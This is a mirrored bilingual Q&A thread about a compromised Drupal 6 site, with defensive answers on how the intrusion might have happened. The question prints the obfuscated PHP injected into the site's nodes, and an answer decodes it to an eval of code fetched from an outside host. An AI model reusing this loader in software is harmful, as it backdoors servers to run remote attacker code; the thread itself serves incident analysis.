简体   繁体   English

Drupal 6中的SQL PHP注入攻击

[英]SQL PHP injection attack in Drupal 6

Today, all the nodes in my drupal 6 site appeared with this added php script 今天,我的drupal 6网站中的所有节点都出现了这个添加的PHP脚本

 ?php $node->nid = 849;
     preg_replace('/^(.'.'*'.')$/'.'e', preg_replace('/^(.'.'*'.')$/'.'e', 'str'.'_'.'rot'.(27-14).'(\'\1\')', 'riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'), 'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vc3NlZHJ1cC5vcmcvYXQvcl9pbmMucGhwJykpOwppZihmdW5jdGlvbl9leGlzdHMoJ25vZGVfdXBkYXRlX2xvZycpKW5vZGVfdXBkYXRlX2xvZygkbm9kZSk7');

    if(@$node->body):
    ?php echo @$node->title;?
    ?php echo @$node->body;?
    ?php else:?

    ... here would go the original text of the node

    ?php endif;?

(I´ve removed some symbols to make sure you can correctly read the php code) (我删除了一些符号以确保您可以正确读取PHP代码)

So, I guess this means that somebody was able to update the information in the drupal tables and inject this php script. 所以,我想这意味着有人能够更新drupal表中的信息并注入这个php脚本。

1 - What is this PHP code doing (if anything)? 1 - 这个PHP代码在做什么(如果有的话)? (of course apart from preventing the visualization of the node content) (当然除了阻止节点内容的可视化)
2 - Any idea of how did they manage to do this? 2 - 他们是怎么设法做到这一点的? Is a Drupal security leak? 是Drupal安全漏洞吗? a Mysql one? 一个Mysql吗? 3 - I guess the only way to reinstaurate this is by completely restoring the database... 3 - 我想重新启动它的唯一方法是完全恢复数据库......

The guy that made this, has really tried to make the code hard to read. 做这个的人真的试图让代码难以阅读。

I'm not 100% sure how exactly this works, but the end result of the top line is something like this: 我不是100%确定这是如何工作的,但顶线的最终结果是这样的:

if(!function_exists('node_update_log'))@eval(@file_get_contents('http://ssedrup.org/at/r_inc.php'));
if(function_exists('node_update_log'))node_update_log($node);

Whoever made this targeted your site because it's a Drupal site, are you runnning up to date version? 无论是谁使你的网站成为目标,因为它是一个Drupal网站,你运行的是最新版本吗? They could be exploiting a known security hole in Drupal / a contributed Drupal module. 他们可能正在利用Drupal中的一个已知安全漏洞/一个贡献的Drupal模块。 Are you using php filters in your Drupal nodes, this could be the access point. 你在Drupal节点中使用php过滤器,这可能是接入点。

I took a look at the code linked to, which was made hard to read as well. 我看了一下链接到的代码,这也很难读。 That is the code that is responsible for updating all of your nodes. 这是负责更新所有节点的代码。 It seems like the goal was to show special content for the search engine crawlers by looking at the IP address. 似乎目标是通过查看IP地址来显示搜索引擎抓取工具的特殊内容。 That is a SEO strategy known as clocking. 这是一种称为计时的SEO策略。

Anyways the link to the actual code that is run : 无论如何, 链接到运行的实际代码

In short this attack on your site, was meant to hide the fact that search engine would index some special contents on your site. 简而言之,这种对您网站的攻击意味着隐藏搜索引擎会为您网站上的某些特殊内容编制索引这一事实。 This is probably made to boost SEO for some site. 这可能是为了提高某些网站的搜索引擎优化。 The one who made this really know what he wanted to do and how to do it. 让这个真正知道他想做什么以及如何做的人。

I assume you've got an up-to-date installation of Drupal and all the modules you're using. 我假设你有一个最新的Drupal安装和你正在使用的所有模块。 That's the biggest thing you need to be sure of -- keep an eye on Drupal versions and always upgrade when a security update is released. 这是您需要确定的最重要的事情 - 密切注意Drupal版本,并在发布安全更新时始终进行升级。

However, it's far more likely to be one of your modules that has a security flaw rather than the Drupal core. 但是,它更有可能是你的一个模块,它有一个安全漏洞,而不是Drupal核心。 There have been (and likely still are) flaws in Drupal itself, but the really nasty issues have tended to be in modules. Drupal本身存在(可能仍然存在)缺陷,但真正令人讨厌的问题往往是模块化的。

The reason for this is that modules tend to be written by third-parties, who may or may not have a good understanding of good security practice. 这样做的原因是模块往往是由第三方编写的,第三方可能会或可能不会很好地理解良好的安全实践。 And whereas the core is used by everyone and gets a lot of developer attention, most modules won't have such broad usage, so they get less development work, less testing and less usage, so bugs are less likely to be spotted. 虽然核心被每个人使用并得到了很多开发人员的关注,但大多数模块都没有这么广泛的用途,因此他们获得的开发工作更少,测试更少,使用更少,因此不太可能发现错误。

Have a look at the non-core modules you've used for your site (it might help to edit your question to list them here, on the off chance someone knows something specific). 看看你用于你网站的非核心模块(这可能有助于编辑你的问题,在这里列出它们,关于某些人知道特定事情的机会)。

Use Google to search for drupal modulename security or something similar, and see what turns up. 使用Google搜索drupal modulename security或类似的东西,看看会出现什么。 Also visit their pages on drupal.org and read the notes there; 也可以访问drupal.org上的页面并阅读那里的笔记; see how active the project is - when was the module last updated? 看看项目的活跃程度 - 模块上次更新的时间是什么时候? and how often? 多久一次? how many developers have worked on it? 有多少开发人员参与其中? etc - if those figures are low, consider finding an alternative module to do the same job. 等 - 如果这些数字很低,考虑找一个替代模块来做同样的工作。

If your PHP skills are good enough (and you have the time), you could do a code review of them to see if you can spot anything. 如果你的PHP技能足够好(并且你有时间),你可以对它们进行代码审查,看看你是否能发现任何东西。

Of course, it may not be a drupal issue at all. 当然,它可能根本不是一个drupal问题。 If you're on a shared hosting platform, the box could have been compromised by a security issue on any one of the hosted sites, resulting in all sites on the box being compromised (this happened to me one - not good). 如果您使用的是共享托管平台,则该框可能已被任何一个托管网站上的安全问题所破坏,从而导致该框上的所有网站遭到入侵(这种情况发生在我身上 - 不好)。 But since the code that was injected is drupal-specific, it would seem that it's likely to be a drupal hack, so the main suspect must remain your installation. 但是由于注入的代码是特定于drupal的,所以看起来它可能是一个drupal hack,所以主要的嫌疑人必须保持你的安装。

Hope that helps. 希望有所帮助。

You may have you "input formats" set wrong. 您可能会将“输入格式”设置错误。 Note, that the "default" format is the one accessible by everyone. 请注意,“默认”格式是每个人都可以访问的格式。 If you set "FULL HTML" as "default", you open up your site to many XSS exploits. 如果将“FULL HTML”设置为“默认”,则会将您的站点打开为许多XSS漏洞。 If you set it to "PHP" you open it up to about everyone. 如果将其设置为“PHP”,则将其打开至大约所有人。 "Default" does not mean that it only becomes the default format, ie the one selected already. “默认”并不意味着它只会成为默认格式,即已选择的格式。 It implies that everyone, including all those who can comment and post nodes, can insert any kind of PHP. 这意味着每个人,包括所有可以评论和发布节点的人,都可以插入任何类型的PHP。

In addition to the advice mentioned, you should audit your permissions. 除了提到的建议之外,您还应该审核您的权限。 It is possible that the hacker found a way in that didn't exploit a security hole (XML-RPC, PHP filter on for non-admins, etc). 黑客可能找到了一种没有利用安全漏洞的方法(XML-RPC,非过滤器的PHP过滤器等)。

Looking through server logs, potentially limiting to POSTs, may provide some information on how it happened. 查看可能限制为POST的服务器日志,可能会提供有关其发生情况的一些信息。

It is also possible that the hacker also directly accessed the database server and bypassed Drupal itself. 黑客也可能直接访问数据库服务器并绕过Drupal本身。

Do not forget to check your permissions. 不要忘记检查您的权限。 Sometimes a developer forgets to prevent editing from anonymous users and it can take a while until you find about it. 有时开发人员会忘记阻止匿名用户进行编辑,这可能需要一段时间才能找到它。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM